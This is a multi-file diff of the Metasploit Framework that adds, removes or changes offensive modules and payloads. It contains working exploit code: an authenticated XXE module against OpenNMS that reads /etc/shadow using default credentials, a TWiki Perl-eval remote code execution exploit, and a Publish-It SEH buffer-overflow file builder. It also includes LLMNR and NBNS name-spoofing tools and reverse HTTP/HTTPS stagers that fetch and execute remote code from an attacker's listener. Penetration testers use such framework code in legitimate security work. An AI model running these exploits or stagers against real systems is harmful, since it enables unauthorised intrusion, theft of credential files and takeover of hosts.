raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
return generate_reverse_winhttps(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
url: generate_small_uri)
end
conf = {
@ -88,32 +51,12 @@ module Payload::Windows::ReverseWinHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
exitfunk: datastore['EXITFUNC']
}
generate_reverse_winhttps(conf)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
space = super
# SSL support adds 20 bytes
space += 20
# SSL verification adds 120 bytes
if datastore['StagerVerifySSLCert']
space += 120
end
space
end
end
end

View File

@ -1,62 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
module Rex
module Parser
###
#
# This class parses the contents of a PEM-encoded X509 certificate file containing
# a private key, a public key, and any appended glue certificates.
#
###
class X509Certificate
#
# Parse a certificate in unified PEM format that contains a private key and
# one or more certificates. The first certificate is the primary, while any
# additional certificates are treated as intermediary certificates. This emulates
# the behavior of web servers like nginx.
#
# @param [String] ssl_cert
# @return [String, String, Array]
def self.parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end
#
# Parse a certificate in unified PEM format from a file
#
# @param [String] ssl_cert_file
# @return [String, String, Array]
def self.parse_pem_file(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
parse_pem(data)
end
end
end
end

View File

@ -118,13 +118,13 @@ module Rex
patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua]
patch_proxy!(blob,
options[:proxy_host],
options[:proxy_port],
options[:proxyhost],
options[:proxyport],
options[:proxy_type]
)
patch_proxy_auth!(blob,
options[:proxy_user],
options[:proxy_pass],
options[:proxy_username],
options[:proxy_password],
options[:proxy_type]
)

View File

@ -411,11 +411,11 @@ class ClientCore < Extension
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
:proxy_type => client.exploit_datastore['PayloadProxyType'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
:proxyhost => client.exploit_datastore['PROXYHOST'],
:proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
end

View File

@ -2,7 +2,6 @@
require 'rex/socket'
require 'rex/socket/tcp_server'
require 'rex/io/stream_server'
require 'rex/parser/x509_certificate'
###
#
@ -109,7 +108,25 @@ module Rex::Socket::SslTcpServer
# @param [String] ssl_cert
# @return [String, String, Array]
def self.ssl_parse_pem(ssl_cert)
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end
#

View File

@ -1,104 +0,0 @@
require 'msf/core'
require 'openssl'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNMS Authenticated XXE',
'Description' => %q{
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
Although this attack requires authentication, there are several factors that increase the
severity of this vulnerability.
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
ports or generate network traffic that requires root"
2. The user that you must authenticate as is the "rtc" user which has the default password of
"rtc". There is no mention of this user in the installation guides found here:
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
admin password of "admin" for security purposes.
},
'License' => MSF_LICENSE,
'Author' => [
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
],
'References' => [
['CVE', '2015-0975']
],
'DisclosureDate' => 'Jan 08 2015'
))
register_options(
[
Opt::RPORT(8980),
OptBool.new('SSL', [false, 'Use SSL', false]),
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
], self.class)
end
def run
print_status("Logging in to grab a valid session cookie")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Login'=> 'Login'
},
})
if res.nil?
fail_with(Failure::Unreachable, "No response from POST request")
elsif res.code != 302
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
end
unless res.headers["Location"].include? "index.jsp"
fail_with(Failure::NoAccess, 'Authentication failed')
end
cookie = res.get_cookies
print_status("Got cookie, going for the goods")
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
delimiter = SecureRandom.uuid
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE #{rand_doctype} [
<!ELEMENT #{rand_entity1} ANY >
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
'data' => xxe,
'cookie' => cookie
})
# extract filepath data from response
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
result = $1
print_good("#{result}")
else
fail_with(Failure::Unknown, 'Error fetching file, try another')
end
end
end

View File

@ -103,6 +103,7 @@ class Metasploit3 < Msf::Auxiliary
if datastore['LISTENER']
@listener.kill if @listener
GC.start()
end
if capture and @spoofing and not datastore['BROADCAST']

View File

@ -139,7 +139,9 @@ attr_accessor :sock, :thread
end
ip_pkt.recalc
capture_sendto(ip_pkt, rhost.to_s, true)
open_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
close_pcap
end
def monitor_socket
@ -174,10 +176,7 @@ attr_accessor :sock, :thread
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
::Socket.do_not_reverse_lookup = true
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252")
@ -192,28 +191,24 @@ attr_accessor :sock, :thread
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalPort' => 5355,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
'LocalPort' => 5355)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket
monitor_socket
}
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
self.thread.join
while thread.alive?
select(nil, nil, nil, 0.25)
end
self.thread.kill
self.sock.close rescue nil
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end

View File

@ -9,9 +9,6 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'NetBIOS Name Service Spoofer',
@ -47,142 +44,108 @@ class Metasploit3 < Msf::Auxiliary
])
register_advanced_options([
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
# Convert to string
rhost = rhost.to_s
spoof = ::IPAddr.new(datastore['SPOOFIP'])
return if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whatever that means
spoof.hton
pkt = PacketFu::UDPPacket.new
pkt.ip_saddr = Rex::Socket.source_address(rhost)
pkt.ip_daddr = rhost
pkt.ip_ttl = 255
pkt.udp_sport = 137
pkt.udp_dport = src_port
pkt.payload = response
pkt.recalc
capture_sendto(pkt, rhost)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
check_pcaprub_loaded() # Check first since otherwise this is all for naught
# MacOS X workaround
::Socket.do_not_reverse_lookup = true
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
@sock = ::UDPSocket.new()
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
self.sock = Rex::Socket.create_udp(
'LocalHost' => "0.0.0.0",
'LocalPort' => 137,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
add_socket(self.sock)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@run = true
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
begin
monitor_socket
rescue ::Interrupt
raise $!
rescue ::Exception
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
print_status("NBNS Spoofer started. Listening for NBNS requests...")
begin
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
packet, addr = @sock.recvfrom(512)
src_port = addr[1]
rhost = addr[3]
break if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end
}
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
self.thread.join
print_status("NBNS Monitor thread exited...")
end
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whet ever that means
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
open_pcap
p = PacketFu::UDPPacket.new
p.ip_saddr = Rex::Socket.source_address(rhost)
p.ip_daddr = rhost
p.ip_ttl = 255
p.udp_sport = 137
p.udp_dport = src_port
p.payload = response
p.recalc
capture_sendto(p, rhost)
close_pcap
else
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
end
end
close_pcap
end
rescue ::Exception => e
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
# Make sure the socket gets closed on exit
ensure
@sock.close
end
end
end

View File

@ -1,101 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki Debugenableplugins Remote Code Execution',
'Description' => %q{
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
The value of the debugenableplugins parameter is used without proper sanitization
in an Perl eval statement which allows remote code execution
},
'Author' =>
[
'Netanel Rubin', # from Check Point - Discovery
'h0ng10', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-7236'],
[ 'OSVDB', '112977'],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
],
'Privileged' => false,
'Targets' =>
[
[ 'Automatic',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 09 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
], self.class)
end
def send_code(perl_code)
uri = target_uri.path
data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"
res = send_request_cgi!({
'method' => 'POST',
'uri' => uri,
'data' => data
})
return res
end
def check
rand_1 = rand_text_alpha(5)
rand_2 = rand_text_alpha(5)
code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
res = send_code(code)
if res and res.code == 200
return CheckCode::Vulnerable if res.body == rand_1 + rand_2
end
CheckCode::Unknown
end
def exploit
code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
code += "require('MIME/Base64.pm');MIME::Base64->import();"
code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
res = send_code(code)
handler
end
end

View File

@ -1,82 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack based buffer overflow in Publish-It when
processing a specially crafted .PUI file. This vulnerability could be
exploited by a remote attacker to execute arbitrary code on the target
machine by enticing a user of Publish-It to open a malicious .PUI file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Kazimirow', # Original discovery
'Andrew Smith "jakx_"', # Exploit and MSF Module
],
'References' =>
[
[ 'OSVDB', '102911' ],
[ 'CVE', '2014-0980' ],
[ 'EDB', '31461' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0b\x0a",
'DisableNops' => true,
'Space' => 377
},
'Targets' =>
[
[ 'Publish-It 3.6d',
{
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
'Offset' => 1082
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 5 2014',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
end
def exploit
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
fd = File.open(path, "rb")
template_data = fd.read(fd.stat.size)
fd.close
buffer = template_data
buffer << make_nops(700)
buffer << payload.encoded
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
buffer << make_nops(2)
buffer << [target.ret].pack("V")
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3
CachedSize = 5499
CachedSize = 5500
include Msf::Payload::Stager
include Msf::Payload::Java
@ -40,22 +40,12 @@ module Metasploit3
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c << "/INITJM\n"
c
end

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
module Metasploit3
CachedSize = 6307
CachedSize = 6308
include Msf::Payload::Stager
include Msf::Payload::Java
@ -42,22 +42,12 @@ module Metasploit3
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c << "/INITJM\n"
c
end

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3
CachedSize = 446
CachedSize = 442
include Msf::Payload::Stager
@ -26,9 +26,9 @@ module Metasploit3
register_options(
[
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
], Msf::Handler::ReverseHttp)
end
#
@ -41,32 +41,21 @@ module Metasploit3
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "http://[#{lhost}]"
else
target_url = "http://#{lhost}"
end
target_url = 'http://'
target_url << lhost
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
cmd = "import sys\n"
if proxy_host == ''
if datastore['PROXYHOST'].blank?
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
@ -77,36 +66,4 @@ module Metasploit3
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
end
end

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
module Metasploit3
CachedSize = 311
CachedSize = 306
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
module Metasploit3
CachedSize = 331
CachedSize = 326
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -82,74 +82,70 @@ module Metasploit3
p[i, u.length] = u
# patch proxy info
proxyhost = datastore['PayloadProxyHost'].to_s
proxyport = datastore['PayloadProxyPort'].to_s || "8080"
if Rex::Socket.is_ipv6?(proxyhost)
proxyhost = "[#{proxyhost}]"
end
proxyhost = datastore['PROXYHOST'].to_s
proxyport = datastore['PROXYPORT'].to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if datastore['PayloadProxyType'].to_s == 'HTTP'
if datastore['PROXY_TYPE'].to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyloc = p.index("PROXYHOST:PORT")
p = p.gsub("PROXYHOST:PORT",proxyinfo)
# Patch the call
calloffset = proxyinfo.length + 1
# patch the call
calloffset = proxyinfo.length
calloffset += 1
p[proxyloc-4] = [calloffset].pack('V')[0]
# Authentication credentials have not been specified
if datastore['PayloadProxyUser'].to_s == '' or
datastore['PayloadProxyPass'].to_s == '' or
datastore['PayloadProxyType'].to_s == 'SOCKS'
#Optional authentification
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
datastore['PROXY_TYPE'] == 'SOCKS'
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
# Remove the authentication code
#remove auth code
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
else
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
jmp_offset =
16 + # PROXY_AUTH_START length
15 + # PROXY_AUTH_STOP length
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
password_size_diff # Same with PayloadProxyPass
# Patch call offset
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
jmp_offset = 16 + #PROXY_AUTH_START length
15 + #PROXY_AUTH_STOP length
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
password_size_diff # same with PROXY_PASSWORD
#patch call offset
username_loc = p.index("PROXY_USERNAME")
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
password_loc = p.index("PROXY_PASSWORD")
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
# Remove markers & change login/password
#remove markers & change login/pwd
p = p.gsub("PROXY_AUTH_START","")
p = p.gsub("PROXY_AUTH_STOP","")
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
end
# Patch jmp dbl_get_server_host
#patch jmp dbl_get_server_host
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
# Patch call Internetopen
#patch call Internetopen
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
# Patch the LPORT
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
# patch the LPORT
lport = datastore['LPORT']
# Append LHOST and return payload
p + datastore['LHOST'].to_s + "\x00"
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
p[lportloc+1] = [lport.to_i].pack('V')[0]
p[lportloc+2] = [lport.to_i].pack('V')[1]
p[lportloc+3] = [lport.to_i].pack('V')[2]
p[lportloc+4] = [lport.to_i].pack('V')[3]
# append LHOST and return payload
lhost = datastore['LHOST']
p + lhost.to_s + "\x00"
end

View File

@ -85,7 +85,7 @@ module Metasploit3
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
"\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x75\xCE\x58\x58\xC3" +
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
}